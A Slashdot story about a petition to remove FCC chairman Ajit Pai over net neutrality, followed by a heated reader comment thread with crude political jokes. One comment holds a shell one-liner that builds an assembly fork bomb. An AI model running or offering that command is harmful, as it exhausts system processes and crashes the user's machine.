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Petition Calls for Ouster of FCC Chairman Pai (whitehouse.gov)
Long-time Slashdot reader speedplane writes:
Yes, we've all heard that net neutrality is on its way out, and it seems NPR was able to snag one of the few (the only?) interview's of Ajit Pai on its effect. Sadly, NPR's Rachel Martin stuck to very broad and basic questions, and failed to press Pai on the change of policy. That said, it's worth a listen.
Pai insists that "We saw companies like Facebook, and Amazon and Google become global powerhouses precisely because we had light-touch rules that applied to this Internet. The Internet wasn't broken in 2015 when these heavy-handed regulations were adopted, and once we remove them, I think we'll continue to see the infrastructure investment that will benefit digital consumers and entrepreneurs alike... I've talked to a lot of companies that say, look, we want to be able to invest in these networks, especially in rural and low-income urban areas, but the more heavy-handed the regulations are, the less likely we can build a business case for doing it."
But New York's Attorney General Eric Schneiderman says he's spent six months investigating "a massive scheme to corrupt the FCC's notice and comment process" for net neutrality, adding that "the FCC has refused multiple requests for crucial evidence." (Nine requests over five months were ignored.) And now over 65,000 people have signed a new online petition at WhiteHouse.gov calling for the immediate removal of Ajit Pai as the FCC's chairman, calling him "a threat to our freedoms."
Meanwhile, The Verge has compiled "a list of the lawmakers who voted to betray you," with each listing also including "how much money they received from the telecom industry in their most recent election cycle."
Pai insists that "We saw companies like Facebook, and Amazon and Google become global powerhouses precisely because we had light-touch rules that applied to this Internet. The Internet wasn't broken in 2015 when these heavy-handed regulations were adopted, and once we remove them, I think we'll continue to see the infrastructure investment that will benefit digital consumers and entrepreneurs alike... I've talked to a lot of companies that say, look, we want to be able to invest in these networks, especially in rural and low-income urban areas, but the more heavy-handed the regulations are, the less likely we can build a business case for doing it."
But New York's Attorney General Eric Schneiderman says he's spent six months investigating "a massive scheme to corrupt the FCC's notice and comment process" for net neutrality, adding that "the FCC has refused multiple requests for crucial evidence." (Nine requests over five months were ignored.) And now over 65,000 people have signed a new online petition at WhiteHouse.gov calling for the immediate removal of Ajit Pai as the FCC's chairman, calling him "a threat to our freedoms."
Meanwhile, The Verge has compiled "a list of the lawmakers who voted to betray you," with each listing also including "how much money they received from the telecom industry in their most recent election cycle."
Too little too late.
Please. Let's stay civilized. Plucking a chicken is so cruel.
Just throw him in the tar pit and enjoy.
We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
Let's rather go collect some money and buy us a ho ourselves. Have you read the article? Some of them go for less than 20k bucks, if we all chip in, maybe we can get a representative ourselves. Think about it: A congressman representing actual citizens. That could be revolutionary in US politics.
We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
Clay Higgins (R) from Louisiana is only $300. "Captain" Higgens is known for his "unprofessional and unlawful conduct", so maybe $400 would sway him. He's also on the Committee on Science, Space, and Technology.
Substitute "sell out your constituents" for "have sex with me", and yeah, I can well believe some of these rent-a-shills would end up settling for $20k.
UNIX? They're not even circumcised! Savages!
Steve Bannon has already suggested regulating them as utilities
https://www.google.com/amp/s/s...
Essentially the Democrats want one set of unpopular companies regulated. Bannon wants another set regulated. Right now the mainstream GOP is sticking to principle - ie that regulating either is bad and the status quo should stay. As US politics becomes more about shafting the other tribe and less about principles that might change though. I think it's fair to assume Trump is not overly concerned with abstract principles.
Of course neither the Democrats or the GOP will confront the fact that telco monopolies were created by regulation. The reason people worry about Comcast abusing its position is because in many places in the US there is only one ISP option. Which is not true for most customers in the UK for example. UK regulations are not perfect but living in the UK I always had a choice of ISP. Hell even in corporatist Sweden that was true. Ericsson was powerful enough to avoid taxes but it wasn't powerful enough to manipulate regulations so it was a monopoly ISP.
And the Net Neutrality advocates won't confront the fact that their argument for net neutrality should apply to Google and FB which are decidedly non neutral for political content. Then they say "It's a private company, they can do what they want" and link to that xkcd cartoon about being shown the door.
It's hard to sympathize much with either side really. The GOP don't really oppose regulation because they want to keep the regulations that create monopolies. And the Net Neutrality folks don't really believe in Net Neutrality. If Google and FB violate Net Neutrality in ways that hurt their political opponents and help their political allies they don't care.
And it's more likely that both the Democrats and Republicans decide on regulation based on whether it helps companies that donate to them and hurts ones who don't than that they're acting out of anything resembling principle.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
I think "A threat to our freedoms" is polarized political mumbo jumbo and not going to serve anyone well in this discussion. The real claim here is that Ajit Pai has a sympathetic view towards corporations that is likely to be a conflict of interest and is using political spin to attempt to justify this position. The political spin is nonsense as far as I can tell. By the way, I'm sure a lot of this is coming from the US Chamber of Commerce and the Business Roundtable. That's the real reason that Ajit Pai should be removed is because he lakes the ability to be impartial and do what's best for the country not corporate America. As we all know, there is a systemic problem of corruption in America and Ajit Pai is the latest to succumb to its influence. It's unfortunately the status quo in American politics.
Now liberals, think about this issue that you care about very dearly. You protest, you sign all these petitions, you blog and project online, etc. and what does the government and corporate America do? They laugh at you because they think you're weak and all talk and no action. It thinks you'll lose interest in the issue and the status quo will continue. Now I wonder.. how else might the people be able to compel the government to represent them? You do the math... and you'll probably move a tad to the right of your beliefs when you realize what the answer to that question is. It's a sad state of affairs in America today that no one seems to have the capability to be reasonable.
We'll make great pets
> If it were really that important, why didn't Obama implement it early in his tenure?
The president was pretty busy, with Iraq and Afghanistan as wars he didn't start but needed to clean up, with the health care program, the difficulty of appointing any Cabinet staff in the face of an obstructionist Congress, and an economy reeling from two Asian wars and the housing market economic meltdown. I think we can safely say that he was _busy_.
Moreover, the FCC is supposed to be an independent agency from the White House. So any guidance or promotion of particular policies at the FCC can take much longer because it can't be done by presidential mandate.
Comment removed based on user account deletion
This isn't a "robomal" campaign; however your feeling it will just be ignored is absolutely correct. This site really needs a "this is the response" section attached to every petition that meets the "100,000 signatures in 30 days" criteria. The link of "petitions with updates" goes to the "How it works" page; so that is rather telling of just how well this works. Maybe I should make a petition for that feature LOL...because it's impossible to see if any of these have been addressed in any way.
There is a long list of petitions that have met the criteria, and none of them have been addressed (that I can tell from this page). "Divest or put in a blind trust all of the President's business and financial assets" got 356,353. "Immediately release Donald Trump's full tax returns, with all information needed to verify emoluments clause compliance." got 1,109,805. So yeah, this is nothing more than smoke and mirrors; bread and circuses.
"The Internet wasn't broken in 2015 when these heavy-handed regulations were adopted,"
2015? Ahhh lets remember 2006 and the various efforts to stop telcos slowing traffic to charge throttling fees..
Here's Senator Stevens:
https://en.wikipedia.org/wiki/Series_of_tubes
"A series of tubes" is a phrase coined originally as an analogy by then-United States Senator Ted Stevens (R-Alaska) to describe the Internet in the context of opposing network neutrality.[1] On June 28, 2006, he used this metaphor to criticize a proposed amendment to a committee bill. The amendment would have prohibited Internet Access providers such as AT&T, Comcast, Time Warner Cable, and Verizon Communications from charging fees to give some companies' data a higher priority in relation to other traffic. The metaphor has been widely ridiculed, particularly because Stevens displayed an extremely limited understanding of the Internet, even though he was in charge of regulating it
They keep trying, the FCC blocks them, the Telcos go to court, or block in a slightly different way, and the FCC changes the rules to clamp down on it, and this cat and mouse game has gone on for over a decade. Pai of course knows as an ex Verizon lawyer he helped craft workarounds. He's trying to deceive.
Why shouldn't Pai be answerable for his lies? Why is it extreme to expect him to do his job of regulating the monopoly telco industry so they don't screw over customers?
All Year
A Couple Weeks Before NN Vote
A Week After Vote
It's the ultimate form of Capitalism. A government bought and sold according to the laws of supply and demand.
We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
They spent the money to develop the fiber optics high speed "pipes". Why is it the governments business what speed, or how they control it? If someone doesn't like it, develop their own pipe?
With the amount of corruption and influence already in place by those in control, what in the hell makes you think the incumbents will play fair with anyone who wants to stand up and develop their "own pipe"?!?
If you really want to know how that bullshit will work out, take a look at the history of failed CLECs.
The best chance to keep Pai from doing damage to net neutrality was last November. As long as Trump is in the White House it is probably going to be difficult to keep net neutrality as the law of the land. Best hope right now is to use the courts to mitigate the damage and drag out the process until a new administration can be put in place and Pai can be replaced.
>Let's rather go collect some money and buy us a ho ourselves.
It might be better to bankroll a professional lobbyist, so you have the potential to persuade more than one politician. Give your lobbyist a list of issues to work and a budget for researchers, lawyers, and bribes (I mean.. err, an entertainment budget for business lunches, etc). They're going to need an office, too.
Now, the lobbyist is going to cost about US 150K + bonuses and benefits. A legislative researcher pulls about 50K, and you're probably going to fork out another 80K for the lawyer. To be honest... you're going to want someone to handle office administration, reception, and errands, so probably throw another 35-40K in there for that. Oh, and you're going to pay around US 4500/month for office space.
You're getting close to 400K just to start up, and that's before you've figured out how much it costs to actually DO something with that office and those people. It's not unusual to spend millions on lobbying in DC.
So... maybe 1.5 million per year to start. Can you crowd fund that? Given the events of the last year, are you prepared to show all the money comes from Americans? How are you going to decide which issues your team should work on? (I can answer the last question - break your crowd funding attempt up by subject, divide efforts by the budget proportions). Who is going to give the orders to the team, judge their effectiveness, etc.?
It's perhaps not as big a job as you might think, but it's not simple, either.
Right now the mainstream GOP is sticking to principle - ie that regulating either is bad and the status quo should stay.
The GOP only pretends to be against regulation. They just want THEIR regulations. They want regulations that reduce taxes but those are still regulations. They want individual freedom unless it is something like abortion or homosexuality that offends their sensibilities and then they are all about regulation. They want regulations that favor money making over clean air. They want regulations that hurt worker's rights to organize.
I think it's fair to assume Trump is not overly concerned with abstract principles.
True but he doesn't seem concerned with tangible principles either.
And the Net Neutrality advocates won't confront the fact that their argument for net neutrality should apply to Google and FB which are decidedly non neutral for political content.
Net neutrality has NOTHING to do with political bent of content makers. It is about giving control of the content to the companies that own the wires rather than those actually making the content. Google doesn't control the wires in most places and they aren't a monopoly anywhere. Contrast with Comcast which is basically the only wired provider of internet service to my house. (Wireless is not a viable option for various reasons) I don't have to use Google and I don't use Facebook but I have limited choices in internet service providers even if I include wireless options in the mix. It is trivial for me to use a search engine that isn't Google but it is nigh impossible for me to switch ISPs. You don't seem to grasp the importance of that distinction.
It's hard to sympathize much with either side really.
Only if you don't understand what net neutrality is. I want my ISP and backhaul providers to stay the hell out of deciding whose content should get priority. That should be my decision, not theirs.
And it's more likely that both the Democrats and Republicans decide on regulation based on whether it helps companies that donate to them and hurts ones who don't than that they're acting out of anything resembling principle.
Of course they do. But as long as that results in the right thing happening then we can live with it. The good news is that there are probably more companies in favor of net neutrality than against it including some heavy hitters in the tech world.
How do you get a chance to talk to him for an hour?
For Democratic congressmen, a large pile of coke. For Republican congressmen, a naked boy - and a large pile of coke.
You know what else is not democratic? An FCC chairman who decides to ignore millions of complaints because they didn't fit his agenda. This isn't a matter of implementing a crystal clear law; it is fuzzy. This is a industry-captured regulatory body intentionally ignoring the intent of a law in order to hegemonize the Internet in favor of their benefactors.
One other thing, the notion that Congress is where every little detail about the implementation of a law gets hashed out is patently false. The CFR has been around for something like 80 years. The nondelegation doctrine, as interpreted by the SCOTUS in 1928 only requires that Congress provide an "intelligible principle" to guide the executive branch. It would be ridiculous for the Congress to be expected to explain what is and isn't covered by copyright as new art forms arise, or which drugs should be approved, or how to best protect workers from benzene. They're too busy fundraising and running the country into the ground to actually explain their laws in detail.
Look at the ACA. It was what, a billion pages long? And even it left a bunch of questions to be answered by others. Can you imagine if they had tried to hash out every single detail?!
If it was actually supposed to be independent then the FCC's rules of governance wouldn't force weighting membership to the ruling party: 3 to 2.
So either the urban dictionary has the vocabulary of a turnip or you're a really clumsy typist.
Confucius say, "Find worm in apple - bad. Find half a worm - worse."